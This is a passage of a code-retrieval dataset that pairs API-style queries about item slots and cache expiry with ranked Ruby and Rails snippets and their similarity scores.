setup_context\n super\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.49149552", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.4914386", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" } ]
f185373343ae06253f8d132600a93991
GET /readied_item_slots GET /readied_item_slots.json
[ { "docid": "511f44350433c97a4ecb3e0099c2cb28", "score": "0.8035114", "text": "def index\n @readied_item_slots = ReadiedItemSlot.all\n end", "title": "" } ]
[ { "docid": "c3377133b03c5683c26415bc8641e2eb", "score": "0.7344478", "text": "def index\n @item_slots = ItemSlot.all\n end", "title": "" }, { "docid": "daa491d0f5633cd7953f031bfc2311c9", "score": "0.7037754", "text": "def slot\n Item.find(item_id).slot\n end", "title": "" }, { "docid": "9a8a4cd4567f2bffe1967b92c6a13be3", "score": "0.69163895", "text": "def set_readied_item_slot\n @readied_item_slot = ReadiedItemSlot.find(params[:id])\n end", "title": "" }, { "docid": "44536189c7273527bba30e3b6e2e2c05", "score": "0.64523387", "text": "def readied_item_slot_params\n params.require(:readied_item_slot).permit(:character_id, :item_slot_id)\n end", "title": "" }, { "docid": "90681e62aa45427ccbd6b8b9375049b3", "score": "0.6445016", "text": "def index\n @armor_slots = ArmorSlot.all\n end", "title": "" }, { "docid": "28354b7e40aca1120727f13fbf8c39fa", "score": "0.63163793", "text": "def get_all_available slots_attributes = {}\n fail 'Acess Token expired' if SetmoreApi::Token.is_expired?\n fail 'Required params missing' unless (slots_attributes[:staff_key] && slots_attributes[:service_key] && slots_attributes[:selected_date])\n params = {\n :request_path => REQUEST_PATH,\n :headers => {\n 'Authorization' => \"Bearer #{SetmoreApi.configuration.access_token}\",\n 'Content-Type' => 'application/json'\n },\n :body_data => slots_attributes\n }\n\n response = Connection.new.execute(params,'Post')\n\n fail \"Unable to get access slots, error: #{response['error']} , message: #{response['msg']}\" unless response && response['response'] && response['data']\n\n response['data']['slots']\n end", "title": "" }, { "docid": "8c2a4185a7b6f77c8dbd8554eca2ef58", "score": "0.63130516", "text": "def index\n @slots = Slot.all\n end", "title": "" }, { "docid": "91f6d79bdc07250c2d1df3fdaabc1e85", "score": "0.62446207", "text": "def index\n @slots = Slot.where(user_id: current_user.id)\n end", "title": "" }, { "docid": "7ca940ada05b482fd63b7d8c388219c8", "score": "0.61697984", "text": "def index\n @slots = @calendar.slots\n end", "title": "" }, { "docid": "1ac0a0ebc5924737d1193d83ff4c3a46", "score": "0.60977095", "text": "def create\n @readied_item_slot = ReadiedItemSlot.new(readied_item_slot_params)\n\n respond_to do |format|\n if @readied_item_slot.save\n format.html { redirect_to @readied_item_slot, notice: 'Readied item slot was successfully created.' }\n format.json { render :show, status: :created, location: @readied_item_slot }\n else\n format.html { render :new }\n format.json { render json: @readied_item_slot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cb6366253add1db7ead70e02ffa57cc6", "score": "0.6064865", "text": "def region_slots\n if(current_user.customer_id?)\n @timeslots = Timeslot.where(\"region_id = ?\", current_user.customer.region_id)\n else\n @timeslots = Timeslot.where(\"region_id = ?\", current_user.driver.region_id)\n end\n render json: @timeslot, status: 200\n end", "title": "" }, { "docid": "7e2fbdf8183e2372b230a92d36bc3aee", "score": "0.605923", "text": "def index\n @skill_slots = SkillSlot.all\n end", "title": "" }, { "docid": "9715add9093e7d25a1345c013e013f81", "score": "0.60546196", "text": "def index\n collect_all_slots\n end", "title": "" }, { "docid": "5e21e8954e97cf5c2dbc93681a69acd7", "score": "0.5999483", "text": "def update\n respond_to do |format|\n if @readied_item_slot.update(readied_item_slot_params)\n format.html { redirect_to @readied_item_slot, notice: 'Readied item slot was successfully updated.' }\n format.json { render :show, status: :ok, location: @readied_item_slot }\n else\n format.html { render :edit }\n format.json { render json: @readied_item_slot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "320973828e022e12288ba347f15a18af", "score": "0.5978693", "text": "def set_item_slot\n @item_slot = ItemSlot.find(params[:id])\n end", "title": "" }, { "docid": "16b835b9a65f33ed981fac18ea043ad1", "score": "0.597862", "text": "def index\n @slots = @practice.slots.all\n end", "title": "" }, { "docid": "29685b3c0949e0c7f59291094b919397", "score": "0.5931065", "text": "def schedule_slots(params = {})\n scope 'user_schedule'\n post('/schedule/slots/', params)\n end", "title": "" }, { "docid": "7ce78bcbbf54c4d7b1aa89a5f02fd84c", "score": "0.59033763", "text": "def slots\n @slots = Candlestick.slots\n end", "title": "" }, { "docid": "40b55115c9b5b2b72b7d35611b308a32", "score": "0.58894414", "text": "def show\n @time_slot = TimeSlot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @time_slot }\n end\n end", "title": "" }, { "docid": "ac2ccfa6154a84c17080c6d1d58f6176", "score": "0.58767706", "text": "def dual_slots\n return @dual_slots unless @dual_slots.nil?\n load_notetag_dual_slots\n return @dual_slots\n end", "title": "" }, { "docid": "9b64d90afae48a7e20e76c50e748d30a", "score": "0.58752793", "text": "def index\n @weapon_slots = WeaponSlot.all\n end", "title": "" }, { "docid": "d4ad53dd4977e9e0066c813ff5fe84d8", "score": "0.586552", "text": "def index\n @cargo_slots = CargoSlot.all\n end", "title": "" }, { "docid": "3e522c181d47fd32127b89c651f4a4cd", "score": "0.5848078", "text": "def job_slots\n @slots = Slot.where(:jobid=>params[:id])\n render :layout=>'global'\n end", "title": "" }, { "docid": "6cd8fa72f0f9b2d9294f51f5e2c959a2", "score": "0.5826672", "text": "def index\n @ship_armor_slots = ShipArmorSlot.all\n end", "title": "" }, { "docid": "89585f263fd0b1c0f9f6fb99843829cc", "score": "0.5778239", "text": "def get_available_slots\n # Return the number of unused sessions\n return @sessions_limit - get_status['running_sessions']\n end", "title": "" }, { "docid": "e1064f8c4c12fb7fbf2148609dad314b", "score": "0.5771988", "text": "def get_slot(slot)\n equipments[slot]\n end", "title": "" }, { "docid": "159ad741436e40daae5381ee21e8e19b", "score": "0.5716832", "text": "def destroy\n @readied_item_slot.destroy\n respond_to do |format|\n format.html { redirect_to readied_item_slots_url, notice: 'Readied item slot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "593e2dea122748f636e998c22e5a7261", "score": "0.568594", "text": "def index\n @semester = Semester.where(month: params[:month], year: params[:year])[0]\n @semester ||= Semester.current_semester\n @slots = @semester.slots.order(:start).group_by(&:weekday)\n (0..6).each { |i| @slots[i] ||= [] }\n\n @slot = Slot.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slots }\n end\n end", "title": "" }, { "docid": "54748291efc0ecbbc050090a2600e1b8", "score": "0.5646392", "text": "def show\n @items = Item.find(params[:id])\n render json: @items\n end", "title": "" }, { "docid": "f8d34c90202e61b4063a17167086db49", "score": "0.56375074", "text": "def index\n @memory_slots = MemorySlot.all\n end", "title": "" }, { "docid": "3f82d9df59282522f126c9f42f8dd495", "score": "0.56186134", "text": "def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end", "title": "" }, { "docid": "908a6233ab0a019f3c1f53714bf48e2b", "score": "0.55834734", "text": "def live_slots\n slots = []\n\n unless live_delivery_block_end_time.blank? || live_delivery_block_start_time.blank?\n available_hours = live_delivery_block_end_time - live_delivery_block_start_time\n\n number_of_slots = available_hours / 60.minutes\n\n number_of_slots.to_i.times do |i|\n slots << {\n from: live_delivery_block_start_time + i.hours,\n to: live_delivery_block_start_time + (i + 1).hours,\n type: :live\n }\n end\n end\n\n slots\n end", "title": "" }, { "docid": "88b1e067e8d668d3591c17ebcb26fd5e", "score": "0.5565915", "text": "def item(uuid)\n http.get \"/items/#{uuid}\"\n end", "title": "" }, { "docid": "704d6930faa60820cb2328ff814cdde8", "score": "0.55624676", "text": "def reserved_slots(date)\n Reservation.confirmed.where(nook_id: self.id)\n .happening_within(date.beginning_of_day..date.end_of_day)\n .map do |r|\n r.start.strftime('%H%M').to_i..\n (r.end + 1.seconds).strftime('%H%M').to_i\n end\n end", "title": "" }, { "docid": "49a422109ccd3667d2bbf81ad0c3e258", "score": "0.55525064", "text": "def index\n @received_item_and_qties = ReceivedItemAndQty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @received_item_and_qties }\n end\n end", "title": "" }, { "docid": "70d46c3150cbdd28d080e6b104149d8e", "score": "0.55461496", "text": "def show\n @slot = Slot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @slot }\n end\n end", "title": "" }, { "docid": "4c334049280e92f955ad94c395f5832e", "score": "0.5546091", "text": "def item_slot_params\n params.require(:item_slot).permit(:item_id, :character_id, :uses, :notes, :gm_notes)\n end", "title": "" }, { "docid": "6c14f8df0f91641f76141e759b5d5998", "score": "0.5544109", "text": "def get_slots(json_result)\n return json_result['Devices'].length\nend", "title": "" }, { "docid": "878341192c3188246aa05cfd25ddd84c", "score": "0.55427945", "text": "def open_appointment_slots(params = {})\n scope 'user_schedule'\n get('schedule/appointments', params)\n end", "title": "" }, { "docid": "b6f296ff547877d44339a4b8d92daee6", "score": "0.5535455", "text": "def create\n @item_slot = ItemSlot.new(item_slot_params)\n\n respond_to do |format|\n if @item_slot.save\n format.html { redirect_to @item_slot, notice: 'Item slot was successfully created.' }\n format.json { render :show, status: :created, location: @item_slot }\n else\n format.html { render :new }\n format.json { render json: @item_slot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "011647e389eb1a7a4f4e1017cd0eccad", "score": "0.5534648", "text": "def show\n render json: @rentable_item\n end", "title": "" }, { "docid": "1b582ddff17dde74b3657fde808b3b18", "score": "0.55316395", "text": "def search(slots)\n @all_slots_view.search(slots)\n end", "title": "" }, { "docid": "ffe5b66e5fced5f47e114c4031b09360", "score": "0.55210656", "text": "def slot_detail\n @user = User.find(params[:user_id])\n @slot_assess = SlotAssess.find(params[:data])\n @approved_user = User.find(@slot_assess.approved_user_id).full_name if @slot_assess.approved_user_id\n @description = @slot_assess.slot.description.gsub(\". \", \".\\n\")\n @guideline = @slot_assess.slot.guideline.gsub(\". \", \".\\n\")\n\n type = params[:type] || \"\"\n case type\n when \"\"\n @evidences = @slot_assess.evidences.limit(3).order(\"created_at desc\")\n when \"last_month\"\n @evidences = @slot_assess.evidences.where(\"created_at > ?\", (Time.now - 1.month)).order(\"created_at desc\")\n when \"last_6_months\"\n @evidences = @slot_assess.evidences.where(\"created_at > ?\", (Time.now - 6.month)).order(\"created_at desc\")\n when \"last_year\"\n @evidences = @slot_assess.evidences.where(\"created_at > ?\", (Time.now - 1.year)).order(\"created_at desc\") \n when \"show_all\"\n @evidences =@slot_assess.evidences.order(\"created_at desc\")\n when \"show_only\"\n @evidences = @slot_assess.evidences.where(id: params[:obj_id]) \n end\n # @recently_added_slots = @user.slot_assesses.where(SlotAssess.arel_table[:status].not_eq(\"Not Added Yet\")).order(\"updated_at desc\")\n\n render :layout => false\n end", "title": "" }, { "docid": "74bf8187f8b21882165c613e9e262a68", "score": "0.5511091", "text": "def index\n @slots = Slot.opening_hours.where(:company_id => current_user.company.id)\n @slots = @slots.sort { |a, b| a.cwday <=> b.cwday }\n\n @blockers = Slot.blockers.where(:company_id => current_user.company.id)\n @blockers = @blockers.sort { |a, b| a.cwday <=> b.cwday }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: { slots: @slots, blockers: @blockers } }\n end\n end", "title": "" }, { "docid": "fd15e9f5e982538b70e6052f67df4ad9", "score": "0.5509162", "text": "def free_slots_bikes\n uPos = params[:pos]\n foundSt = false\n destStation = \"\"\n if params[:query] == \"slot\"\n #what to search for like slots or bikes on a station\n what = \"empty_slots\"\n else\n what = \"free_bikes\"\n end\n stationList = get_stationList(uPos)\n for station in stationList\n if station[what] != 0\n destStation = station[\"name\"]\n foundSt = true\n break\n end\n end\n response = {:success => foundSt, :destStation => destStation}\n respond_to do |format|\n format.json {render :json => response, status: 200}\n end\n end", "title": "" }, { "docid": "7dc711301476f906ca4e2f7287d9413b", "score": "0.5495975", "text": "def slots_message\n I18n.mixer.slots_overall(@limit)\n end", "title": "" }, { "docid": "925745062ac9b672ccc9e3ac0b268c10", "score": "0.5494601", "text": "def find_reservation_by_timeslot(timeslot, existing_reservations)\n t_next = timeslot + 30.minutes #next iteration's time\n timeslot = timeslot\n\n # Get existing reservations in this room from previously queried elasticsearch result\n room_reservations = existing_reservations.find {|r| r[id.to_i]}\n unless room_reservations.blank?\n # Return a has with the reservation information if it is found in the collection of reservations for this room in this timeslot\n reservation = room_reservations[id.to_i].find {|r| (r._source.start_dt.to_datetime >= timeslot and r._source.end_dt.to_datetime <= t_next) or (r._source.start_dt.to_datetime <= timeslot and r._source.end_dt.to_datetime >= t_next) }\n return reservation\n end\n\n end", "title": "" }, { "docid": "a56e586b9c2f3fc9efdf8beb3c690805", "score": "0.5479888", "text": "def slots(m)\n return unless @game\n\n m.reply I18n.mixer.slot_stats(@game.players.size, @limit)\n end", "title": "" }, { "docid": "f6a8e54a3cfae26886a82db14f5afd3d", "score": "0.5454421", "text": "def block_slots\n slots = []\n\n unless block_delivery_end_time.blank? || block_delivery_start_time.blank?\n\n available_hours = block_delivery_end_time - block_delivery_start_time\n\n number_of_slots = available_hours / 60.minutes\n\n number_of_slots.to_i.times do |i|\n slots << {\n from: block_delivery_start_time + i.hours,\n to: block_delivery_start_time + (i + 1).hours,\n type: :daytime\n }\n end\n end\n\n slots\n end", "title": "" }, { "docid": "00e875b09246a9ffb77ff9edb9264fa7", "score": "0.5453521", "text": "def index\n @table_slots = TableSlot.all\n end", "title": "" }, { "docid": "b3d7461069e37f3b0382c16b8b6e1754", "score": "0.54392403", "text": "def show\n @timeslot = current_event.timeslots.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @timeslot }\n end\n end", "title": "" }, { "docid": "d7912a60fa1142146bf38bd550b6b3f5", "score": "0.5436907", "text": "def index\n @time_slots_lists = TimeSlotsList.all\n @time_slots_list = TimeSlotsList.new\n end", "title": "" }, { "docid": "2c70cb36ccd5884254cf7278cb08c352", "score": "0.5433204", "text": "def slots\n slot_start = start_time\n slot_end = slot_start + slot_length\n while slot_end <= end_time\n slot = ::V2::TimeSlot.new(start_time: slot_start, end_time: slot_end, event_id: @event_id)\n @slots << slot if slot.valid? && slot.save\n slot_start = slot_end + buffer\n slot_end = slot_start + slot_length\n end\n\n @slots\n end", "title": "" }, { "docid": "392fccd4188ee7c5b00b1759ddbcf02a", "score": "0.5431743", "text": "def index\n @slot_names = SlotName.all\n end", "title": "" }, { "docid": "4f7ce952719e50df8c78ff8e3ed81ec5", "score": "0.5431233", "text": "def show\n @received_item_and_qty = ReceivedItemAndQty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @received_item_and_qty }\n end\n end", "title": "" }, { "docid": "a5d79ae1a0a854a0383fa67292f7d03d", "score": "0.5421218", "text": "def index\n @item_inventories = ItemInventory.all\n end", "title": "" }, { "docid": "86daaafcf600af614ab7a56ee3b4f2a0", "score": "0.5416588", "text": "def show\n @time_slot = TimeSlot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @time_slot }\n end\n end", "title": "" }, { "docid": "f5e76da5c83e8818c1a112cea62a6e9b", "score": "0.5415419", "text": "def index\n @timeslots = Timeslot.all\n end", "title": "" }, { "docid": "f5e76da5c83e8818c1a112cea62a6e9b", "score": "0.5415419", "text": "def index\n @timeslots = Timeslot.all\n end", "title": "" }, { "docid": "ccac09317e79b59148e1369fe4455c41", "score": "0.5411679", "text": "def new\n @slot = Slot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slot }\n end\n end", "title": "" }, { "docid": "e0e1f7f4264c0440ea9c2924f3152b08", "score": "0.53957665", "text": "def get_item(iid)\n params = {'pio_iid' => iid}.merge(default_params)\n response = @connection.get(:items, iid, params).body\n if response[\"pio_latlng\"]\n latlng = response[\"pio_latlng\"]\n response[\"pio_latitude\"] = latlng[0]\n response[\"pio_longitude\"] = latlng[1]\n end\n if response[\"pio_startT\"]\n startT = Rational(response[\"pio_startT\"], 1000)\n response[\"pio_startT\"] = Time.at(startT)\n end\n if response[\"pio_endT\"]\n endT = Rational(response[\"pio_endT\"], 1000)\n response[\"pio_endT\"] = Time.at(endT)\n end\n response\n end", "title": "" }, { "docid": "168053bdf8f5babd1f649328dea7a392", "score": "0.53902256", "text": "def show\n @itemstable = Itemstable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itemstable }\n end\n end", "title": "" }, { "docid": "7fd781d38b493eafd9372be3d8bb4722", "score": "0.53855133", "text": "def new\n @slot = Slot.new\n\n @slots = Slot.opening_hours.where(:company_id => current_user.company.id)\n @available_days = get_available_days(@slots)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slot }\n end\n end", "title": "" }, { "docid": "c41946a081e441c68bf925593cd12f9b", "score": "0.5380533", "text": "def update\n respond_to do |format|\n if @item_slot.update(item_slot_params)\n format.html { redirect_to @item_slot, notice: 'Item slot was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_slot }\n else\n format.html { render :edit }\n format.json { render json: @item_slot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bb02008789ce408d0b1241fb9bdbada", "score": "0.5372152", "text": "def index\n #@items = Item.find_by_user_id(Session[user_id])\n @items = Item.all\n render json: @items\n end", "title": "" }, { "docid": "4696b067e0ed7ccaf811cf43c2be3ca6", "score": "0.5359307", "text": "def pistaa_slot_items(slot)\n Pistaa[slot].item_keys\n end", "title": "" }, { "docid": "7890968e511cd22402fc4430648ecf44", "score": "0.5332186", "text": "def index\n date_range = unix_date(params[:date])\n @timeslots = Timeslot.where('start_time >= ? and start_time <= ?', date_range[:beginning_of_day], date_range[:end_of_day])\n # render :json => @timeslots.as_json(only: [])\n end", "title": "" }, { "docid": "c6a8fa07bc022a3d2f1af4918c0e60df", "score": "0.5326953", "text": "def slots_available\r\n begin\r\n serverinfo = $ts.command('serverinfo')\r\n res_slots = serverinfo['virtualserver_reserved_slots']\r\n max_clients = serverinfo['virtualserver_maxclients']\r\n clients_online = serverinfo['virtualserver_clientsonline']\r\n max_clients - (res_slots + clients_online)\r\n rescue\r\n puts '[ERROR] problem getting available slots'\r\n raise 'slots_available'\r\n end\r\nend", "title": "" }, { "docid": "fe476c10c46410f64947d209d6bdcb4c", "score": "0.5323591", "text": "def show\n render json: Item.find(params[:id])\n end", "title": "" }, { "docid": "eb354ffc8205e277e16c339add996ccd", "score": "0.5317884", "text": "def show\n item = Item.find(params[:id])\n render json: item\n end", "title": "" }, { "docid": "e2578e238b8a1359fbc64c6c0be8a730", "score": "0.53176636", "text": "def fetch\n result = WebApi.json!('ITFItems_440', 'GetPlayerItems', 1, { :SteamID => @steam_id64 })\n\n @items = []\n result[:items][:item].each do |item_data|\n unless item_data.nil?\n item = TF2Item.new(item_data)\n @items[item.backpack_position - 1] = item\n end\n end\n end", "title": "" }, { "docid": "10607d1962e1c3c48458c72fe9f3821f", "score": "0.53156036", "text": "def show\n render json: Item.find(params[\"id\"])\n end", "title": "" }, { "docid": "3e41f5361418c0d43438bb8ded8e1d64", "score": "0.5311903", "text": "def show\n @inventoryitem = Inventoryitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inventoryitem }\n end\n end", "title": "" }, { "docid": "58edb83d0a0263778a123b3eb4f513f4", "score": "0.52984965", "text": "def attended_slots\n self.tabling_slot_members.where(status_id: Status.where(name: :attended).first).map do |tsm|\n tsm.tabling_slot\n end\n end", "title": "" }, { "docid": "74d411ae9536ed136b43679c87319172", "score": "0.52790546", "text": "def get_memory_rasd_item(id)\n request(\n :expects => 200,\n :idempotent => true,\n :method => 'GET',\n :parser => Fog::ToHashDocument.new,\n :path => \"vApp/#{id}/virtualHardwareSection/memory\"\n )\n end", "title": "" }, { "docid": "d5fb3592e38780cda02bc761f8e1bb66", "score": "0.5271625", "text": "def show\n render json: @request_item\n end", "title": "" }, { "docid": "0b79f54ec3f002844f3897e694689666", "score": "0.526092", "text": "def open_slots(date)\n time = date.to_time\n \n slots = []\n prev_time = time - 30.minutes\n loop do\n start_time = prev_time + 30.minutes\n \n if start_time.to_date == date\n slots << Slot.new(starts_at: start_time, cat: self)\n prev_time = start_time\n else\n break\n end\n end\n \n # Remove taken/past timeframes\n slots.reject do |slot|\n Reservation.exists?(cat: self, starts_at: slot.starts_at) || slot.starts_at.past?\n end\n end", "title": "" }, { "docid": "211dbec441fd9f2dd50c94e41f243d8a", "score": "0.5255221", "text": "def show\n @slots = Slot.where(:mouse_rack_id => params[:id]).order('id ASC')\n @holding_cages = HoldingCage.where(:mouse_rack_id => params[:id])\n @mating_cages = MatingCage.where(:mouse_rack_id => params[:id])\n end", "title": "" }, { "docid": "c527b29f218d57d76a763de8778c5717", "score": "0.52516866", "text": "def show\n @inventory_item = InventoryItem.find(params[:id])\n \n authorize! :read, @inventory_item\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inventory_item }\n end\n end", "title": "" }, { "docid": "093141dd2b96b29dbe4a6ad249d1174c", "score": "0.52477485", "text": "def index\n @eventslots = Eventslot.all\n end", "title": "" }, { "docid": "14df917e4747e2446dffcf52d159cb7b", "score": "0.5232219", "text": "def show\n @mostsmallitemequipinventory = Mostsmallitemequipinventory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmallitemequipinventory }\n end\n end", "title": "" }, { "docid": "42516f81b3a7fd0f4e71c8a59858135f", "score": "0.5230459", "text": "def index\n @section = Section.find(params[:section_id])\n @items = @section.items\n render json: ItemSerializer.new(@items)\n end", "title": "" }, { "docid": "903dcc8bf48bee08c701c54c76e5be85", "score": "0.5226742", "text": "def getItems()\n return mergeWithAPI(@item_json)['data']\n end", "title": "" }, { "docid": "0af28704df6a9a5bb2fe53d686a6084c", "score": "0.52245", "text": "def show\n @room_items = RoomItem.all\n end", "title": "" }, { "docid": "a1d6ca1c311862204a6ccb178dceae3f", "score": "0.52237797", "text": "def get_item(course_id, item_id)\r\n relative_url = PATH_COURSES_ITEMS_ % [course_id, item_id]\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "4512aeb8a35033cb89bc69b26b4c8417", "score": "0.52184254", "text": "def routed_item(routed_item_id, query_params = nil)\n get(\"/routeditems/#{routed_item_id}\", query_params)\n end", "title": "" }, { "docid": "03b0bd8d3a84e1621d4d63f54c90d0b3", "score": "0.5215205", "text": "def index\n @timeslots = current_event.timeslots.find(:all, :order=>'slot_date, start_time')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @timeslots }\n end\n end", "title": "" }, { "docid": "5d28a95d2d93ad3bd66b39527428b0e7", "score": "0.5207987", "text": "def vacant_slots(from, to)\n\n end", "title": "" }, { "docid": "be690b05c579c8dee2a72763b25f0690", "score": "0.52057755", "text": "def index\n @slots = Slot.order(created_at: :DESC).each do |slot|\n slot.update_slot_status\n end\n if current_user.role == \"Space Agent\"\n @slots = Slot.where(status: [\"Free Slot\", 'Bid Approval Pending', 'Pre Booked Slot'])\n end\n end", "title": "" }, { "docid": "96dee8090285db83819391b25efd8f05", "score": "0.5192436", "text": "def show_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "title": "" }, { "docid": "1ecf71fc831908d42628af1c15f19893", "score": "0.51885724", "text": "def get_items\n @items\n end", "title": "" }, { "docid": "93862d17634ff677eb9de273bd8150a6", "score": "0.518219", "text": "def index\n ok_request current_user, %w(user, opinion_polls, opinion_polls.time_slots)\n end", "title": "" }, { "docid": "5ed5e3e88596fc35813cc01ef19e9160", "score": "0.5164976", "text": "def show_gear(slot)\n\t\t\treturn @player_data_db.execute( \"select item_id, bonus from gear where slot = ?\", slot )\n\t\tend", "title": "" }, { "docid": "8b651f7597aeebd577a2f49b993a811f", "score": "0.5162966", "text": "def available_slots\n # Doit regarder le board et renvoyer un array avec les slots restants\n slots = []\n @board.each do |k,v|\n v.each_with_index { |num,i| slots << k + (i+1).to_s if num.zero?}\n end\n slots\n end", "title": "" }, { "docid": "a6fc996c9f3e1d0cdc29da5993af1475", "score": "0.51546216", "text": "def show\n @potluck_item = PotluckItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @potluck_item }\n end\n end", "title": "" }, { "docid": "00c733f9bfa3435d928d8e8058d62a41", "score": "0.5154384", "text": "def fetch\n result = WebApi.json!(\"IEconItems_#{app_id}\", 'GetPlayerItems', 1, { :SteamID => @steam_id64 })\n item_class = self.class.send :class_variable_get, :@@item_class\n\n @items = []\n result[:items].each do |item_data|\n unless item_data.nil?\n item = item_class.new(self, item_data)\n @items[item.backpack_position - 1] = item\n end\n end\n end", "title": "" }, { "docid": "0ab767afb2a89e55b4c51dbaf2bcabe5", "score": "0.51536894", "text": "def [](slotname)\n @slots[slotname.to_s].value rescue nil\n end", "title": "" }, { "docid": "554171d27df956a866aba1d9e02f1559", "score": "0.515085", "text": "def all\n court_slots\n end", "title": "" }, { "docid": "b610e86c04fc152f7829dbacf8f28795", "score": "0.51484394", "text": "def show\n @slot = Slot.where(:id => params[:id], :company_id => current_user.company.id).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slot }\n end\n end", "title": "" }, { "docid": "e05661dc0730c8d259c2db218c304073", "score": "0.51478946", "text": "def new\n @time_slot = TimeSlot.new\n @recurrence_array = []\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @time_slot }\n end\n end", "title": "" } ]
29071ddb58f19d8ec3b546e9279dafff
Removes +key+ from the cache in +expiry+ seconds.
[ { "docid": "48c1fd458fea4656b145c0854b13a983", "score": "0.7285421", "text": "def delete(key, expiry = 0)\r\n raise MemCacheError, \"Update of readonly cache\" if @readonly\r\n with_server(key) do |server, cache_key|\r\n with_socket_management(server) do |socket|\r\n socket.write \"delete #{cache_key} #{expiry}\\r\\n\"\r\n result = socket.gets\r\n raise_on_error_response! result\r\n result\r\n end\r\n end\r\n end", "title": "" } ]
[ { "docid": "a9ad6084f305949f53d697d89c9ce24e", "score": "0.7728378", "text": "def expire(key, expiry)\n redis.expire _key(key), expiry\n end", "title": "" }, { "docid": "a9ad6084f305949f53d697d89c9ce24e", "score": "0.7728098", "text": "def expire(key, expiry)\n redis.expire _key(key), expiry\n end", "title": "" }, { "docid": "84fab9b40644b70d6cb0035a4b8a71d7", "score": "0.7415388", "text": "def delete(key, expiry = 0)\n raise MemCacheError, \"No active servers\" unless self.active?\n cache_key = make_cache_key(key)\n server = get_server_for_key(cache_key)\n\n sock = server.socket\n if sock.nil?\n raise MemCacheError, \"No connection to server\"\n end\n\n begin\n timeout(REQUEST_TIMEOUT) do\n sock.write \"delete #{cache_key} #{expiry}\\r\\n\"\n sock.gets\n end\n rescue SystemCallError, IOError, Timeout::Error => err\n server.close\n raise MemCacheError, err.message\n end\n end", "title": "" }, { "docid": "80c5d17fa2a6b8b4158d9d2aaddafdd6", "score": "0.73451006", "text": "def cache_expire(key, options = {})\n CACHE.delete(key, options)\n puts \"[Cache Expire @ #{Time.now.strftime(\"%d/%b/%Y:%H:%M:%S %z\")}]: \" +\n \"Cache Expired for #{key}\" if debugging?\nend", "title": "" }, { "docid": "3b659dfa26606462868d1a0576d7c5a9", "score": "0.72047776", "text": "def expires!(key)\n unset(key) if data[key]&.expired?\n end", "title": "" }, { "docid": "f155c27002849720d767a1e385cc2b2b", "score": "0.7203379", "text": "def delete(key, expiry = 0)\n @mutex.lock if @multithread\n\n raise MemCacheError, \"No active servers\" unless active?\n cache_key = make_cache_key key\n server = get_server_for_key cache_key\n\n sock = server.socket\n raise MemCacheError, \"No connection to server\" if sock.nil?\n\n begin\n sock.write \"delete #{cache_key} #{expiry}\\r\\n\"\n sock.gets\n rescue SystemCallError, IOError => err\n server.close\n raise MemCacheError, err.message\n end\n ensure\n @mutex.unlock if @multithread\n end", "title": "" }, { "docid": "052aa53d7254791a358b017c36b321cc", "score": "0.71301746", "text": "def remove(key)\n cache.delete(key)\n end", "title": "" }, { "docid": "b9516b651d431b27c8ef057ddbd1fb33", "score": "0.7076498", "text": "def expire key\n path = get_path(key)\n if File.exist? path\n File.delete path\n end\n end", "title": "" }, { "docid": "36b85ab804cff2670cbc22de8b4d5d55", "score": "0.70599365", "text": "def delete(key, expiry = 0)\n with_servers do\n _original_delete(key, expiry)\n end\n end", "title": "" }, { "docid": "c0cfcff8d3cb40fa06471b9ace2a8bd1", "score": "0.7023266", "text": "def cache_expire(key:)\n begin\n CACHE.delete(key)\n rescue Redis::CannotConnectError || Redis::ConnectionError || Redis::TimeoutError\n exit\n end\n end", "title": "" }, { "docid": "e85650be195409ac56436f5cd2084754", "score": "0.69460046", "text": "def delete(key)\n @monitor.synchronize do\n entry = @stash.delete(key)\n if entry\n @expires_at.delete(entry)\n entry.value\n else\n nil\n end\n end\n end", "title": "" }, { "docid": "df3b5907dc0ed655037494ab3bd59047", "score": "0.6918924", "text": "def in_mutex_expire!(key)\n expiry, = @key_values[key]\n unless expiry.nil?\n @expiries[expiry].delete(key)\n @expiries[expiry]\n @key_values.delete(key)\n end\n end", "title": "" }, { "docid": "dfc12a1960f299ebfa39f871c86e4791", "score": "0.69154006", "text": "def expire(key); end", "title": "" }, { "docid": "0142b012d99fd436545c7bc23f87deb1", "score": "0.6835089", "text": "def expire!(key); end", "title": "" }, { "docid": "880bb562e385bf682c4e76d2ef40c35c", "score": 